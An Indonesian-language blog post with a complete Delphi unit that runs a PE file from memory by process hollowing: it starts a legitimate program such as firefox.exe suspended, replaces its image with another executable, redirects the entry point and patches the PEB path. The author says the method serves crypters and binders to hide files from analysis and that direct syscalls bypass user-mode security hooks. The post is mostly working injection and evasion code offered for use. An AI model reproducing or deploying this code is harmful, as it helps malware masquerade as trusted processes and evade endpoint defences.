Beberapa waktu yang lalu saya posting unit tentang bagaimana cara memanggil native api lansung pada syscall tanpa melalui ntdll
http://cybercoding.wordpress.com/2012/12/01/union-api/nah banyak teman" yang tanya cara penggunaannya.. Berhubung ada waktu luang maka sya buat unit yang mengeksekusi PE file from memory.
Methode Execute file from memory :
- Jalankan target executable dengan parameter CREATE_SUSPENDED. (windows akan menjalankan file yang mana setelah meload file ke memory dan settup process windows akan mensuspen process sebelum mengeksekusi main code pada entrypoint
- Dapatkan alamat imagebase(alamat memory dari pe file pada process spaces)
- alokasi dan tulis pe kita memory pada target process
- ubah image base dan entry point sesuai alamat memory pada target process (pe file kita)
- lanjutkan process (resumethread)
Simple kan ? hehehhe. methode ini banyak digunakan pada file crypter/binder di luar sana. Gunanya tentu saja agar file aslinya tidak di analisa secara lansung (karena terencrypt). Tekniknya sendiri bukan teknik baru dan mempunyai kelemahan mendasar.. Misalnya dengan melakukan hooking fungsi alokasi dan resume thread :lol:
btw unit dibawah ini hanya membuat methode execute from memory lebih sulit di deteksi pada usermode karena lansung memanggil native api tidak melalui ntdll melainkan lansung sycall (melakukan hall yang sama yang dilakukan ntdll)
{ Just Another version execute File from memory, use native -> syscall for bypass all usermode hooker
Website: Cybercoding.wordpress.com / http://ic0de.org
Modified: abhe
Thanks : steve10120
}
unit U_MemExecute;
interface
uses
windows, codesitelogging, U_UnionApi;
function ExecuteFromMem(szFilePath, szParams:String; pFile:Pointer; PatchPEB : Boolean):DWORD;
implementation
Type
NTSTATUS = cardinal;
PVOID = pointer;
PPVOID = ^PVOID;
PUnicodeString = ^TUnicodeString;
TUnicodeString = packed record
Length: Word;
MaximumLength: Word;
Buffer: PWideChar;
end;
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: DWORD;
SizeOfBlock: DWORD;
end;
procedure xdebug(int:integer);
begin
codesite.Send('error',int);
end;
function NtSuccess (Stat: LongInt): Boolean;
begin
Result := Stat >= 0;
end;
//just how virtualalloc from old code of win src
function ExVirtualAlloc(hProcess: THandle; lpAddress: Pointer;
dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
var
Status: NTSTATUS;
begin
status := ApiCall32('NtAllocateVirtualMemory', [
hProcess,
@lpAddress,
0,
@dwSize,
flAllocationType,
flProtect
]);
if NtSuccess(Status) then result := lpAddress
else result := nil;
end;
function ExWriteProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
var
RegionSize: Cardinal;
Base: Pointer;
OldProtect: ULONG;
Status: NTSTATUS;
begin
result := false;
RegionSize := nSize;
Base := lpBaseAddress;
Status := ApiCall32('NtProtectVirtualMemory', [
hProcess,
@Base,
@RegionSize,
PAGE_EXECUTE_READWRITE,
@OldProtect
]);
if NtSuccess(Status) then begin
if ((OldProtect and PAGE_READWRITE) = PAGE_READWRITE) or
((OldProtect and PAGE_WRITECOPY) = PAGE_WRITECOPY) or
((OldProtect and PAGE_EXECUTE_READWRITE) = PAGE_EXECUTE_READWRITE) or
((OldProtect and PAGE_EXECUTE_WRITECOPY) = PAGE_EXECUTE_WRITECOPY) then begin
ApiCall32('NtProtectVirtualMemory', [
hProcess,
@Base,
@RegionSize,
OldProtect,
@OldProtect
]);
Status := ApiCall32('NtWriteVirtualMemory', [
hProcess,
lpBaseAddress,
lpBuffer,
nSize,
@lpNumberOfBytesWritten
]);
if NtSuccess(Status) then begin
result := true;
ApiCall32('NtFlushInstructionCache', [hProcess,lpBaseAddress,nSize]);
end;
end else begin
if ((OldProtect and PAGE_NOACCESS) = PAGE_NOACCESS) or
((OldProtect and PAGE_READONLY) = PAGE_READONLY) then begin
ApiCall32('NtProtectVirtualMemory', [
hProcess,
@Base,
@RegionSize,
OldProtect,
@OldProtect
]);
end else begin
Status := ApiCall32('NtWriteVirtualMemory', [
hProcess,
lpBaseAddress,
lpBuffer,
nSize,
@lpNumberOfBytesWritten
]);
ApiCall32('NtProtectVirtualMemory', [
hProcess,
@Base,
@RegionSize,
OldProtect,
@OldProtect
]);
if NtSuccess(Status) then begin
result := true;
ApiCall32('NtFlushInstructionCache', [hProcess,lpBaseAddress,nSize]);
end;
end;
end;
end;
end;
//patch imagepath from peb for make all getmodulefilename call will result true file lokation
Procedure PatchImagePathRemote(PH:Thandle; Peb:Dword; szNewImageBaseName: PWidechar);
Label
Top, Retry;
var
no_success : integer;
ldr_data : Dword;
Current : DWord;
BytesRead : DWord;
unicode : TUnicodeString;
pNewAddr : Pointer;
begin
no_success := 0;
Retry:
if (no_success >= 600) then exit
else begin
inc(no_success);
Sleep(50);
goto Top;
end;
Top :
xdebug(400);
//NtReadVirtualMemory
if (not NtSuccess(ApiCall32('NtReadVirtualMemory',
[ PH, Ptr(Peb+$c), @ldr_data, sizeof(ldr_data), @BytesRead]))) or
(ldr_data = 0) then goto Retry;
xdebug(401);
//NtReadVirtualMemory
if (not NtSuccess(ApiCall32('NtReadVirtualMemory',
[ PH, Ptr(ldr_data+$c), @Current, sizeof(Current), @BytesRead]))) or
(Current = 0) then goto Retry;
xdebug(402);
//NtReadVirtualMemory
if (not NtSuccess(ApiCall32('NtReadVirtualMemory',
[ PH, Ptr(Current+$24), @unicode, sizeof(unicode), @BytesRead]))) then exit;
unicode.Length := lstrlenW(szNewImageBaseName) * 2;
unicode.MaximumLength := unicode.Length+2;
xdebug(403);
pNewAddr := ExVirtualAlloc(PH, nil, unicode.Length, $1000 or $2000, $40);
xdebug(404);
if (pNewAddr<>nil) then begin
xdebug(405);
unicode.Buffer := pNewAddr;
ExWriteProcessMemory(PH, pNewAddr, szNewImageBaseName, unicode.Length, BytesRead);
ExWriteProcessMemory(PH, Ptr(Current+$24), @unicode, sizeof(unicode), BytesRead);
end;
end;
function Get4ByteAlignedContext(var Base: Pointer): PContext;
begin
Base := ExVirtualAlloc(Thandle(-1), nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
Result := Base;
if Base <> nil then
while ((DWORD(Result) mod 4) <> 0) do
Result := Pointer(DWORD(Result) + 1);
end;
procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
l_i: Cardinal;
l_codebase: Pointer;
l_relocation: PImageBaseRelocation;
l_dest: Pointer;
l_relInfo: ^Word;
l_patchAddrHL: ^longword;
l_type, l_offset: integer;
begin
l_codebase := f_module;
if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
begin
l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
while l_relocation.VirtualAddress > 0 do
begin
l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
l_relInfo := Pointer(Cardinal(l_relocation) + 8);
for l_i := 0 to (Trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
begin
l_type := (l_relInfo^ shr 12);
l_offset := l_relInfo^ and $FFF;
if l_type = 3 then
begin
l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
end;
inc(l_relInfo);
end;
l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
end;
end;
end;
function AlignImage(pImage:Pointer):Pointer;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: WORD;
begin
IDH := pImage;
INH := Pointer(Integer(pImage) + IDH^._lfanew);
GetMem(Result, INH^.OptionalHeader.SizeOfImage);
ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
for i := 0 to INH^.FileHeader.NumberOfSections - 1 do begin
ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
end;
end;
//execute pe file from memory
function ExecuteFromMem(szFilePath, szParams:String; pFile:Pointer; PatchPEB : Boolean):DWORD;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
PI: TProcessInformation;
SI: TStartupInfo;
CT: PContext;
CTBase,
pModule: Pointer;
dwIBase,
dwread: DWORD;
Wow1, wow2: Cardinal;
begin
Result := 0;
{Check Image}
if pFile=nil then exit;
IDH := pFile;
if (IDH^.e_magic <> IMAGE_DOS_SIGNATURE) then exit;
INH := Pointer(Integer(pFile) + IDH^._lfanew);
if (INH^.Signature <> IMAGE_NT_SIGNATURE) then exit;
ZeroMemory(@SI, Sizeof(TStartupInfo));
ZeroMemory(@PI, Sizeof(TProcessInformation));
SI.cb := Sizeof(TStartupInfo);
xdebug(200);
if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then begin
{check is64bit, if 64bit aplication then we dont inject to it.. inject to own file instead}
Wow1 := IsWow;
wow2 := 0;
//NtQueryInformationProcess -> ProcessWow64Information
ApiCall32('NtQueryInformationProcess', [PI.hProcess, 26, @wow2, Sizeof(wow2), nil]);
if (Wow1 <> 0) and (wow2=0) then begin
{target is 64bit, use self injection}
//NtTerminateProcess
ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);
xDebug(207);
ExecuteFromMem(paramstr(0), szParams, pFile, patchpeb);
exit;
end;
xdebug(201);
CT := Get4ByteAlignedContext(CTBase);
if (CT <> nil) then begin
xdebug(202);
CT.ContextFlags := CONTEXT_FULL;
//NtGetContextThread
if NtSuccess(ApiCall32('NtGetContextThread', [PI.hThread, CT])) then begin
xdebug(203);
dwread := 0;
//NtReadVirtualMemory
NtSuccess(ApiCall32('NtReadVirtualMemory',
[PI.hProcess, Pointer(CT.Ebx + 8), @dwIBase, SizeOf(dwIBase), @dwread]));
dwread := INH^.OptionalHeader.SizeOfImage;
if (dwIBase = INH^.OptionalHeader.ImageBase) then begin
//NtUnmapViewOfSection
if ApiCall32('NtUnmapViewOfSection', [PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)])=0 then
pModule := ExVirtualAlloc(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
else
pModule := ExVirtualAlloc(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
end else
pModule := ExVirtualAlloc(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pModule <> nil) then begin
xdebug(204);
pFile := AlignImage(pFile);
if (DWORD(pModule) <> INH^.OptionalHeader.ImageBase) then begin
PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
INH^.OptionalHeader.ImageBase := DWORD(pModule);
CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
end;
ExWriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwread);
ExWriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwread);
CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
//NtSetContextThread
ApiCall32('NtSetContextThread', [PI.hThread, CT]);
//NtResumeThread
ApiCall32('NtResumeThread', [PI.hThread, nil]);
result := PI.hThread;
if PatchPEB and (lstrcmp(PChar(Paramstr(0)), PChar(szFilePath))<>0) then begin
xdebug(205);
PatchImagePathRemote( PI.hProcess, CT.Ebx, PWideChar(Paramstr(0)));
end;
if (pFile <> nil) then FreeMemory(pFile);
xdebug(206);
end;
end;
//NtFreeVirtualMemory
dwread := 0;
ApiCall32('NtFreeVirtualMemory',[Thandle(-1), @CTBase, @dwread, MEM_RELEASE]);
end;
if (Result = 0) then begin
//NtTerminateProcess
ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);
end;
end;
end;
end.
and example use
function LoadFile2String(const FileName: TFileName): AnsiString;
begin
result := '';
if not fileexists(FileName) then exit;
with TFileStream.Create(FileName,fmOpenRead or fmShareDenyWrite) do // Reading our File To STREAM
begin
try
SetLength(Result, Size);
Read(Pointer(Result)^, Size);
except
Result := ''; // Deallocates memory
Free;
raise;
end;
Free;
end;
end;
var
Data:ansiString;
begin
Data := LoadFile2String('MemExecute - Copy.exe');
ExecuteFromMem('C:\Program Files (x86)\Mozilla Firefox\firefox.exe', '', @data[1], true);
link to my blog
http://cybercoding.wordpress.com/2012/12/14/execute-pe-frommemory-syscall-way/